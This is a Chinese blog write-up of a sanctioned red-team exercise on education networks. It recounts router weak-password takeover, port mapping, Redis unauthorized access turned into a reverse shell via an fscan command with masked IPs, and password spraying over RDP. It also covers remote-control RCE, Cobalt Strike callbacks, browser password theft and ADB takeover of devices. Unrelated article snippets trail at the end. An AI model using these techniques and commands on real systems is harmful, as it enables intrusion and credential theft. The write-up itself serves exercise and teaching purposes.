『攻防』记一次EDU攻防演练

VSole2022-07-29 16:36:27

背景

记一次EDU攻防,来之前还是有点怂的,因为前段时间刚打了其它地方EDU感受了一波,小部分目标有重合好难打啊(Too vegetable),不是很正式的感觉队伍也不多,目标分下来混战打,拿到目标表一看。

我敲了一大半的内网地址大部分都是些视频监控系统

信息收集

拿到目标表之后就是信息收集了,挑了几个目标fscan快速识别一波资产没啥东西呀,web页面有个内网地址泄露记一下,可以确定这个ip是在服务器段的,我还没进去内网呢要这破ip干嘛

上超级弱口令检测工具扫一波弱口令,telnet口令爆破到一个h3c设备口令,成功登陆到设备是个管理员权限,开启web访问看了下有ssl vpn功能和授权,那么可以直接建ssl vpn把内网打通。

菜狗不会配啊,只有抓苦力找L师傅给我看看了

白嫖L师傅干活给了个设备型号让他去翻一波手册,吃完饭回来L师傅很自信跟我说你的需求我清楚了不就把内网放出来嘛(简简单单),L师傅远程我电脑telnet命令行配置界面敲下神秘代码(高手高手),然后piapia打脸哈哈哈

设备太老了第一条命令就配不上,网上能找到的手册都是命令行配置,web界面配置L师傅看了半天也没整起,ssl vpn端口是通了但是连不上啊,吐槽了一波L师傅不靠谱,piapia打脸的L师傅试图解释一波(这设备出厂我都还在上初中怎么这设备还不退市啊),浪费一个小时时间没搞出来已经晚上一点了,睡觉吧明天找c师傅帮忙看看。

第二天找c师傅看了一下也搞不上敲了这下咋办啊,设备有telnet、ping功能,看了下设备上路由表确定了有2、3、5、6网段,telnet测试了一波网段一头一尾的IP,根据端口开放情况确定了2网段都是些服务器、3网段没法确定、5网段应该也是部分服务器段还有些无线ap设备。

通过telnet登陆到5网段的无线AP,可以执行部分命令,如ifconfig、ps -aux,其它命令都被屏蔽了,web界面比较简单没有什么功能,没有找到相关的漏洞。

翻了下官网的产品手册,看到一个无线网关的设备手册里面功能有vpn功能,那如果能找到这个无线网关设备不就可以做个vpn了吗

找了一圈没找到无线网关,放弃了,还是想想其他办法吧。现在我们手上有外网路由器的管理权限还有内网无线ap的权限,外网路由器可以telnet、ping探测IP和端口存活、nat端口映射。

那现在我们只有笨方法了,试试运气去探测内网的脆弱端口如22、1433、3389、6379、7001,说干就干,之前在信息收集的时候确定了靶标IP段在2段,那么我们直接按照靶标的IP前后去探测上面的脆弱端口,如果端口开放那么我们就在路由器上做个映射到公网上面。

简单探测了一波22端口写好nat配置到路由器上面先爆破一下

突破口

人麻了,一个弱口令都没有,IP继续往前推探测6379端口,发现一个redis服务。

总算找到一个可以打的端口,这里在华三路由器telnet过去我不知道为啥我输入info没有返回未授权的信息,映射到外网输入info是直接返回未授权,直接端口映射到外网直接用fscan打一下。

芜湖,fscan创建个计划任务弹到vps上面。

fscan_amd64.exe -h *.*.*.* -p 6379 -rs *.*.*.*:1234

等待获取到shell

芜湖,冲冲冲

内网横向

拿到了内网机器权限,直接开冲,先上一波fscan撞一波之前我们收集到的密码。

fscan_amd64.exe -h *.*.*.*/16 -pa 3389 -pwd ***** -np

运气比较好,撞密码撞到了两个机器,上个向日葵rce继续冲。

内网翻出来一堆向日葵rce,能正常执行命令的就一台,难受了呀,powershell上线到cs上面,加账号远程到服务器,常规操作翻文件、浏览器密码、找内网管理员IP这些。

数据库账号,成功连接到数据库。

QQ文件里面有向日葵远程码,可惜了连接不上。

在日志里面看登陆日志确定管理员IP,探测了下管理员地址不在线,上线另外两个rdp爆破出来的机器,浏览器保存了上网行为管理密码,直接登陆到后台了。

刚才fscan扫描出一些交换机设备,尝试用同样的密码登陆,拿到了8台交换机权限。

网络设备分数上限2k,之前无线ap已经把分数打满了,交了也是白交,继续看靶标系统和虚拟化平台,没有一个能可以打的,刚才的设备万能密码也没用。

kscan再扫描下,发现一些应该是移动终端设备,adb直接连接上去大概60台左右算物联网分数上限直接满了,靶标拿不下难受啊,就这样吧交报告溜了溜了。

总结

这次攻防整体的反思,外网打点信息收集尽量宽泛仔细一些,在现场打压力还是大的打不出来东西就是在坐牢,和队伍里师傅第一次协作不是很好没有沟通好打哪个目标好点,师傅第一次打也很懵逼,我打的多之前都是旁边辅助混子哈哈哈,信息同步还是比较重要的,内网横向这块还得学啊太菜了太菜了,还有就是免杀和bypass av跟师傅们学了一波姿势,之前没弄过上不了线真是一脸懵逼,最后差个几千分结束了。

文章里面这个目标案例打的也不是像我写的这么顺利,在测试脆弱端口的时候人麻了,测试了有个一个多小时一个能打的都没有,中午去吃饭路上都想着回来写python脚本做telnet批量测试,吃饭回来坐在那摆烂随便测了下结果测出个redis未授权才撕开了一个口子。

还有就是打的时候一定不能把自己轴进去了,一定要多跟队伍里师傅沟通想法怎么做,多个人多种思路,一个点上浪费了太多时间一定要及时调整寻找其它突破点,这个在突破到内网那里我就很轴,当时我就想把ssl vpn建立起来但是就是建立不起来,c师傅喊我换个思路把端口映射出来打,最后想想确实在ssl vpn那块浪费太多时间,一定及时调整自己思路。

路由网段
本作品采用《CC 协议》,转载必须注明作者和本文链接
最终ARP请求会被转发到同一网络中的所有客户机上。ARP广播,是在需要与其他主机通信时发出的。IEEE 802.1Q协议规定,在以太网数据帧的目的MAC地址和源MAC地址字段之后、协议类型字段之前加入4个字节的VLAN标签,用以标识VLAN信息。表示帧类型,取值为0x8100时表示IEEE 802.1Q的VLAN数据帧。PRI3bitPriority,表示数据帧的802.1p优先级。CFI取值为0表示MAC地址以标准格式进行封装,为1表示以非标准格式封装。为了提高处理效率,设备内部处理的数据帧一律都是Tagged帧。
路由器能隔绝广播,那要VLAN有什么用,既配置了VLAN又划分在不同的网段是不是有些多余了?题主的意思是不要
接收后检查该数据帧,将IP数据包从帧中提取出来,交给本机的IP层协议。同样,IP层检查后,将有用的信息提取后交给ICMP协议,后者处理后,马上构建一个ICMP应答包,发送给主机A,其过程和主机A发送ICMP请求包到主机B一模一样。我们来看下,ping同网段不存的ip地址。
优先修复发现的漏洞大多数CRQ公式使用CVE CVSS分数作为判定漏洞修复优先级的基础。该站点应用程序仅受网络防火墙和网络IPS解决方案的保护。在Log4J漏洞利用公布后,IPS解决方案并没有立刻提供任何针对Log4J漏洞的保护。不过,大多数主流IPS解决方案供应商都在漏洞利用发布24小时内发布了产品更新。也就是说,区域内CRQ主机值等于网络CRQ值。区域间CRQ主机值可以通过将CRQ基值乘以1来计算,因为没有实施基于主机的安全控制。
车载防火墙是针对城市轨道交通车载TCMS系统和信号系统等设计开发的边界隔离和安全防护产品。产品采用工业级ARM多核处理器芯片的硬件架构和自主知识产权的智能工控安全操作系统(IICS-OS),基于优化的软硬件架构提高报文的处理能力,对主流工业协议进行深度报文解析(DPI,Deep Packet Inspection),运用“白名单+智能学习”技术建立车载数据通信及车载控制网络区域间通信模型,保证只
内网渗透在现在已经是非常熟悉的攻击方法本篇文章将使用viper进行内网渗透靶场环境来自:西域大都护府CFS内网渗透靶场。渗透之前,先说说viper是什么?话不多说,直接上。
内网渗透-代理篇
2021-12-01 05:44:01
利用代理工具将内网的流量代理到本地进行访问,这样就可以对内网进行下一步渗透,同时也可以利用代理工具将其他网段的流量转发到本地进行纵向渗透。代理的本质是Socks协议(防火墙安全会话转换协议),工作在OSI参考模型的第5层(会话层)。使用TCP协议传输数据,因而不提供如传递ICMP信息之类的网络层相关服务。目前支持SOCKS4和SOCKS5两个版本:
本文将引入一个思路:“在 Kubernetes 集群发生网络异常时如何排查”。文章将引入 Kubernetes 集群中网络排查的思路,包含网络异常模型,常用工具,并且提出一些案例以供学习。其可能原因为Pod 的 DNS 配置不正确DNS 服务异常pod 与 DNS 服务通讯异常大数据包丢包:主要现象为基础网络和端口均可以连通,小数据包收发无异常,大数据包丢包。
数年前,农业银行在总行层面规划和建设了VXLAN DCI(Datacenter Interconnect)网络核心,将内外网Fabric资源池通过DCI高速互联,并采用原创的多段式VXLAN和两级外部网络技术,实现跨Fabric的逻辑分区、资源调度及服务链功能,为云原生应用提供超大规模的网络资源池。该架构业已成为大型金融数据中心网络的最佳实践和事实标准,被同业广泛采用。
对于一个安全保护等级为第三级的网络来说,如果目标设备(如网络设备、安全设备、主机操作系统、应用系统等)仅提供基于静态口令的用户身份鉴别方式,但对应的集中运维管理系统采用双因素鉴别方式,那么该目标设备是否也可判定为满足第三级身份鉴别¹控制点中对于组合鉴别技术的要求?
VSole
网络安全专家